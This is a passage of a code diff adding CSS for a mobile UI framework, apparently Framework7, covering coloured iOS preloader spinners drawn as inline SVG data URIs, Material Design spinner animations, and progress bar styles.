'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +.ios .preloader.color-green, +.ios .preloader.preloader-green { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%234cd964'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +.ios .preloader.color-blue, +.ios .preloader.preloader-blue { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23007aff'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +.ios .preloader.color-pink, +.ios .preloader.preloader-pink { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ff2d55'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +.ios .preloader.color-yellow, +.ios .preloader.preloader-yellow { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ffcc00'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +.ios .preloader.color-orange, +.ios .preloader.preloader-orange { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ff9500'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +.ios .preloader.color-gray, +.ios .preloader.preloader-gray { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%238e8e93'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +.ios .preloader.color-white, +.ios .preloader.preloader-white { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ffffff'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +.ios .preloader.color-black, +.ios .preloader.preloader-black { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23000000'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +@-webkit-keyframes ios-preloader-spin { + 100% { + -webkit-transform: rotate(360deg); + transform: rotate(360deg); + } +} +@keyframes ios-preloader-spin { + 100% { + -webkit-transform: rotate(360deg); + transform: rotate(360deg); + } +} +.md .preloader { + font-size: 0; + display: inline-block; + width: 32px; + height: 32px; + -webkit-animation: md-preloader-outer 3300ms linear infinite; + animation: md-preloader-outer 3300ms linear infinite; +} +@-webkit-keyframes md-preloader-outer { + 0% { + -webkit-transform: rotate(0); + transform: rotate(0); + } + 100% { + -webkit-transform: rotate(360deg); + transform: rotate(360deg); + } +} +@keyframes md-preloader-outer { + 0% { + -webkit-transform: rotate(0); + transform: rotate(0); + } + 100% { + -webkit-transform: rotate(360deg); + transform: rotate(360deg); + } +} +.md .preloader-inner { + position: relative; + display: block; + width: 100%; + height: 100%; + -webkit-animation: md-preloader-inner-rotate 5.25s cubic-bezier(0.35, 0, 0.25, 1) infinite; + animation: md-preloader-inner-rotate 5.25s cubic-bezier(0.35, 0, 0.25, 1) infinite; +} +.md .preloader-inner .preloader-inner-gap { + position: absolute; + width: 2px; + left: 50%; + margin-left: -1px; + top: 0; + bottom: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; + border-top: 4px solid #757575; +} +.md .preloader-inner .preloader-inner-left, +.md .preloader-inner .preloader-inner-right { + position: absolute; + top: 0; + height: 100%; + width: 50%; + overflow: hidden; +} +.md .preloader-inner .preloader-inner-half-circle { + position: absolute; + top: 0; + height: 100%; + width: 200%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + border: 4px solid #757575; + border-bottom-color: transparent !important; + border-radius: 50%; + -webkit-animation-iteration-count: infinite; + animation-iteration-count: infinite; + -webkit-animation-duration: 1.3125s; + animation-duration: 1.3125s; + -webkit-animation-timing-function: cubic-bezier(0.35, 0, 0.25, 1); + animation-timing-function: cubic-bezier(0.35, 0, 0.25, 1); +} +.md .preloader-inner .preloader-inner-left { + left: 0; +} +.md .preloader-inner .preloader-inner-left .preloader-inner-half-circle { + left: 0; + border-right-color: transparent !important; + -webkit-animation-name: md-preloader-left-rotate; + animation-name: md-preloader-left-rotate; +} +.md .preloader-inner .preloader-inner-right { + right: 0; +} +.md .preloader-inner .preloader-inner-right .preloader-inner-half-circle { + right: 0; + border-left-color: transparent !important; + -webkit-animation-name: md-preloader-right-rotate; + animation-name: md-preloader-right-rotate; +} +.md .preloader-modal { + border-radius: 4px; +} +.md .preloader.color-red .preloader-inner-gap, +.md .preloader.preloader-red .preloader-inner-gap, +.md .preloader.color-red .preloader-inner-half-circle, +.md .preloader.preloader-red .preloader-inner-half-circle { + border-color: #f44336; +} +.md .preloader.color-green .preloader-inner-gap, +.md .preloader.preloader-green .preloader-inner-gap, +.md .preloader.color-green .preloader-inner-half-circle, +.md .preloader.preloader-green .preloader-inner-half-circle { + border-color: #4caf50; +} +.md .preloader.color-blue .preloader-inner-gap, +.md .preloader.preloader-blue .preloader-inner-gap, +.md .preloader.color-blue .preloader-inner-half-circle, +.md .preloader.preloader-blue .preloader-inner-half-circle { + border-color: #2196f3; +} +.md .preloader.color-pink .preloader-inner-gap, +.md .preloader.preloader-pink .preloader-inner-gap, +.md .preloader.color-pink .preloader-inner-half-circle, +.md .preloader.preloader-pink .preloader-inner-half-circle { + border-color: #e91e63; +} +.md .preloader.color-yellow .preloader-inner-gap, +.md .preloader.preloader-yellow .preloader-inner-gap, +.md .preloader.color-yellow .preloader-inner-half-circle, +.md .preloader.preloader-yellow .preloader-inner-half-circle { + border-color: #ffeb3b; +} +.md .preloader.color-orange .preloader-inner-gap, +.md .preloader.preloader-orange .preloader-inner-gap, +.md .preloader.color-orange .preloader-inner-half-circle, +.md .preloader.preloader-orange .preloader-inner-half-circle { + border-color: #ff9800; +} +.md .preloader.color-gray .preloader-inner-gap, +.md .preloader.preloader-gray .preloader-inner-gap, +.md .preloader.color-gray .preloader-inner-half-circle, +.md .preloader.preloader-gray .preloader-inner-half-circle { + border-color: #9e9e9e; +} +.md .preloader.color-white .preloader-inner-gap, +.md .preloader.preloader-white .preloader-inner-gap, +.md .preloader.color-white .preloader-inner-half-circle, +.md .preloader.preloader-white .preloader-inner-half-circle { + border-color: #ffffff; +} +.md .preloader.color-black .preloader-inner-gap, +.md .preloader.preloader-black .preloader-inner-gap, +.md .preloader.color-black .preloader-inner-half-circle, +.md .preloader.preloader-black .preloader-inner-half-circle { + border-color: #000000; +} +.md .preloader.color-multi .preloader-inner-left .preloader-inner-half-circle { + -webkit-animation-name: md-preloader-left-rotate-multicolor; + animation-name: md-preloader-left-rotate-multicolor; +} +.md .preloader.color-multi .preloader-inner-right .preloader-inner-half-circle { + -webkit-animation-name: md-preloader-right-rotate-multicolor; + animation-name: md-preloader-right-rotate-multicolor; +} +@-webkit-keyframes md-preloader-left-rotate { + 0%, + 100% { + -webkit-transform: rotate(130deg); + transform: rotate(130deg); + } + 50% { + -webkit-transform: rotate(-5deg); + transform: rotate(-5deg); + } +} +@keyframes md-preloader-left-rotate { + 0%, + 100% { + -webkit-transform: rotate(130deg); + transform: rotate(130deg); + } + 50% { + -webkit-transform: rotate(-5deg); + transform: rotate(-5deg); + } +} +@-webkit-keyframes md-preloader-right-rotate { + 0%, + 100% { + -webkit-transform: rotate(-130deg); + transform: rotate(-130deg); + } + 50% { + -webkit-transform: rotate(5deg); + transform: rotate(5deg); + } +} +@keyframes md-preloader-right-rotate { + 0%, + 100% { + -webkit-transform: rotate(-130deg); + transform: rotate(-130deg); + } + 50% { + -webkit-transform: rotate(5deg); + transform: rotate(5deg); + } +} +@-webkit-keyframes md-preloader-inner-rotate { + 12.5% { + -webkit-transform: rotate(135deg); + transform: rotate(135deg); + } + 25% { + -webkit-transform: rotate(270deg); + transform: rotate(270deg); + } + 37.5% { + -webkit-transform: rotate(405deg); + transform: rotate(405deg); + } + 50% { + -webkit-transform: rotate(540deg); + transform: rotate(540deg); + } + 62.5% { + -webkit-transform: rotate(675deg); + transform: rotate(675deg); + } + 75% { + -webkit-transform: rotate(810deg); + transform: rotate(810deg); + } + 87.5% { + -webkit-transform: rotate(945deg); + transform: rotate(945deg); + } + 100% { + -webkit-transform: rotate(1080deg); + transform: rotate(1080deg); + } +} +@keyframes md-preloader-inner-rotate { + 12.5% { + -webkit-transform: rotate(135deg); + transform: rotate(135deg); + } + 25% { + -webkit-transform: rotate(270deg); + transform: rotate(270deg); + } + 37.5% { + -webkit-transform: rotate(405deg); + transform: rotate(405deg); + } + 50% { + -webkit-transform: rotate(540deg); + transform: rotate(540deg); + } + 62.5% { + -webkit-transform: rotate(675deg); + transform: rotate(675deg); + } + 75% { + -webkit-transform: rotate(810deg); + transform: rotate(810deg); + } + 87.5% { + -webkit-transform: rotate(945deg); + transform: rotate(945deg); + } + 100% { + -webkit-transform: rotate(1080deg); + transform: rotate(1080deg); + } +} +@-webkit-keyframes md-preloader-left-rotate-multicolor { + 0%, + 100% { + border-left-color: #4285F4; + -webkit-transform: rotate(130deg); + transform: rotate(130deg); + } + 75% { + border-left-color: #1B9A59; + border-top-color: #1B9A59; + } + 50% { + border-left-color: #F7C223; + border-top-color: #F7C223; + -webkit-transform: rotate(-5deg); + transform: rotate(-5deg); + } + 25% { + border-left-color: #DE3E35; + border-top-color: #DE3E35; + } +} +@keyframes md-preloader-left-rotate-multicolor { + 0%, + 100% { + border-left-color: #4285F4; + -webkit-transform: rotate(130deg); + transform: rotate(130deg); + } + 75% { + border-left-color: #1B9A59; + border-top-color: #1B9A59; + } + 50% { + border-left-color: #F7C223; + border-top-color: #F7C223; + -webkit-transform: rotate(-5deg); + transform: rotate(-5deg); + } + 25% { + border-left-color: #DE3E35; + border-top-color: #DE3E35; + } +} +@-webkit-keyframes md-preloader-right-rotate-multicolor { + 0%, + 100% { + border-right-color: #4285F4; + -webkit-transform: rotate(-130deg); + transform: rotate(-130deg); + } + 75% { + border-right-color: #1B9A59; + border-top-color: #1B9A59; + } + 50% { + border-right-color: #F7C223; + border-top-color: #F7C223; + -webkit-transform: rotate(5deg); + transform: rotate(5deg); + } + 25% { + border-top-color: #DE3E35; + border-right-color: #DE3E35; + } +} +@keyframes md-preloader-right-rotate-multicolor { + 0%, + 100% { + border-right-color: #4285F4; + -webkit-transform: rotate(-130deg); + transform: rotate(-130deg); + } + 75% { + border-right-color: #1B9A59; + border-top-color: #1B9A59; + } + 50% { + border-right-color: #F7C223; + border-top-color: #F7C223; + -webkit-transform: rotate(5deg); + transform: rotate(5deg); + } + 25% { + border-top-color: #DE3E35; + border-right-color: #DE3E35; + } +} +/* === Progressbar === */ +.progressbar, +.progressbar-infinite { + width: 100%; + overflow: hidden; + position: relative; + display: block; + -webkit-transform-style: preserve-3d; + transform-style: preserve-3d; +} +body > .progressbar, +.view > .progressbar, +.views > .progressbar, +.page > .progressbar, +.panel > .progressbar, +.popup > .progressbar, +.framework7-root > .progressbar, +body > .progressbar-infinite, +.view > .progressbar-infinite, +.views > .progressbar-infinite, +.page > .progressbar-infinite, +.panel > .progressbar-infinite, +.popup > .progressbar-infinite, +.framework7-root > .progressbar-infinite { + position: absolute; + left: 0; + top: 0; + z-index: 15000; + border-radius: 0 !important; + -webkit-transform-origin: center top !important; + transform-origin: center top !important; +} +.with-statusbar.device-ios body > .progressbar, +.with-statusbar.ios:not(.device-ios):not(.device-android) body > .progressbar, +.with-statusbar.device-ios .framework7-root > .progressbar, +.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root > .progressbar, +.with-statusbar.device-ios body > .progressbar-infinite, +.with-statusbar.ios:not(.device-ios):not(.device-android) body > .progressbar-infinite, +.with-statusbar.device-ios .framework7-root > .progressbar-infinite, +.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root > .progressbar-infinite { + top: 20px; +} +.with-statusbar.device-android body > .progressbar, +.with-statusbar.md:not(.device-ios):not(.device-android) body > .progressbar, +.with-statusbar.device-android .framework7-root > .progressbar, +.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root > .progressbar, +.with-statusbar.device-android body > .progressbar-infinite, +.with-statusbar.md:not(.device-ios):not(.device-android) body > .progressbar-infinite, +.with-statusbar.device-android .framework7-root > .progressbar-infinite, +.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root > .progressbar-infinite { + top: 24px; +} +.with-statusbar.device-iphone-x body > .progressbar, +.with-statusbar.device-iphone-x .framework7-root > .progressbar, +.with-statusbar.device-iphone-x body > .progressbar-infinite, +.with-statusbar.device-iphone-x .framework7-root > .progressbar-infinite { + top: constant(safe-area-inset-top); + top: env(safe-area-inset-top); +} +.progressbar { + vertical-align: middle; +} +.progressbar span { + width: 100%; + height: 100%; + position: absolute; + left: 0; + top: 0; + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.progressbar-infinite:before, +.progressbar-infinite:after { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + -webkit-transform-origin: left center; + transform-origin: left center; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + display: block; +} +.progressbar-infinite.color-multi { + background: none !important; +} +.progressbar-in { + -webkit-animation: progressbar-in 150ms forwards; + animation: progressbar-in 150ms forwards; +} +.progressbar-out { + -webkit-animation: progressbar-out 150ms forwards; + animation: progressbar-out 150ms forwards; +} +@-webkit-keyframes progressbar-in { + from { + opacity: 0; + -webkit-transform: scaleY(0); + transform: scaleY(0); + } + to { + opacity: 1; + -webkit-transform: scaleY(1); + transform: scaleY(1); + } +} +@keyframes progressbar-in { + from { + opacity: 0; + -webkit-transform: scaleY(0); + transform: scaleY(0); + } + to { + opacity: 1; + -webkit-transform: scaleY(1); + transform: scaleY(1); + } +} +@-webkit-keyframes progressbar-out { + from { + opacity: 1; + -webkit-transform: scaleY(1); + transform: scaleY(1); + } + to { + opacity: 0; + -webkit-transform: scaleY(0); + transform: scaleY(0); + } +} +@keyframes progressbar-out { + from { + opacity: 1; + -webkit-transform: scaleY(1); + transform: scaleY(1); + } + to { + opacity: 0; + -webkit-transform: scaleY(0); + transform: scaleY(0); + } +} +.ios .progressbar, +.ios .progressbar-infinite { + height: 2px; + background: #b6b6b6; + -webkit-transform-origin: center top; + transform-origin: center top; + border-radius: 